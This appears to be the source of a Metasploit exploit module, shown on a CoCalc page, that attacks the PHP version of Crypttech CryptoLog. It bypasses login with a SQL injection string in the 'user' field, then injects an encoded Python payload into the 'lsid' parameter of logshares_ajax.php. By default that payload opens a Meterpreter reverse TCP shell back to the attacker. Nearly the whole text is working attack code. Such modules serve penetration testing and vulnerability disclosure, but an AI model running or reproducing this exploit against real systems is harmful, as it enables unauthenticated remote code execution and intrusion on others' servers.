CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info={})
12
    super(update_info(info,
13
      'Name'           => "Crypttech CryptoLog Remote Code Execution",
14
      'Description'    => %q{
15
        This module exploits a SQL injection and command injection vulnerability in the PHP version of CryptoLog.
16
        An unauthenticated user can execute a terminal command under the context of the web user. These vulnerabilities
17
        are no longer present in the ASP.NET version CryptoLog, available since 2009.
18

19
        CryptoLog's login.php endpoint is responsible for the login process. One of the user supplied parameters is
20
        used by the application without input validation and parameter binding, which leads to SQL injection
21
        vulnerability. Successfully exploiting this vulnerability gives a valid session.
22

23
        CryptoLog's logshares_ajax.php endpoint is responsible for executing an operation system command. It's not
24
        possible to access this endpoint without having a valid session. One user parameter is used by the
25
        application while executing an operating system command, which causes a command injection issue.
26

27
        Combining these vulnerabilities gives the opportunity execute operation system commands under the context
28
        of the web user.
29
      },
30
      'License'        => MSF_LICENSE,
31
      'Author'         =>
32
        [
33
          'Mehmet Ince <[email protected]>' # author & msf module
34
        ],
35
      'References'     =>
36
        [
37
          ['URL', 'https://pentest.blog/advisory-cryptolog-unauthenticated-remote-code-execution/']
38
        ],
39
      'DefaultOptions'  =>
40
        {
41
          'Payload'  => 'python/meterpreter/reverse_tcp'
42
        },
43
      'Platform'       => ['python'],
44
      'Arch'           => ARCH_PYTHON,
45
      'Targets'        => [[ 'Automatic', { }]],
46
      'Privileged'     => false,
47
      'DisclosureDate' => '2017-05-03',
48
      'DefaultTarget'  => 0
49
    ))
50

51
    register_options(
52
      [
53
        Opt::RPORT(80),
54
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable CryptoLog instance', '/'])
55
      ]
56
    )
57
  end
58

59
  def bypass_login
60
    r = rand_text_alpha(15)
61
    i = rand_text_numeric(5)
62

63
    res = send_request_cgi({
64
      'method' => 'POST',
65
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'login.php'),
66
      'vars_get' => {
67
        'act' => 'login'
68
      },
69
      'vars_post' => {
70
        'user' => "' OR #{i}=#{i}#",
71
        'pass' => "#{r}"
72
      }
73
    })
74

75
    if res && res.code == 302 && res.headers.include?('Set-Cookie')
76
      res.get_cookies
77
    else
78
      nil
79
    end
80
  end
81

82
  def check
83
    if bypass_login.nil?
84
      Exploit::CheckCode::Safe
85
    else
86
      Exploit::CheckCode::Appears
87
    end
88
  end
89

90
  def exploit
91
    print_status("Bypassing login by exploiting SQLi flaw")
92

93
    cookie = bypass_login
94

95
    if cookie.nil?
96
      fail_with(Failure::Unknown, "Something went wrong.")
97
    end
98

99
    print_good("Successfully logged in")
100

101
    print_status("Exploiting command injection flaw")
102
    r = rand_text_alpha(15)
103

104
    send_request_cgi({
105
      'method' => 'POST',
106
      'uri' => normalize_uri(target_uri.path, 'cryptolog', 'logshares_ajax.php'),
107
      'cookie'    => cookie,
108
      'vars_post' => {
109
        'opt' => "check",
110
        'lsid' => "$(python -c \"#{payload.encoded}\")",
111
        'lssharetype' => "#{r}"
112
      }
113
    })
114

115
  end
116
end
117

118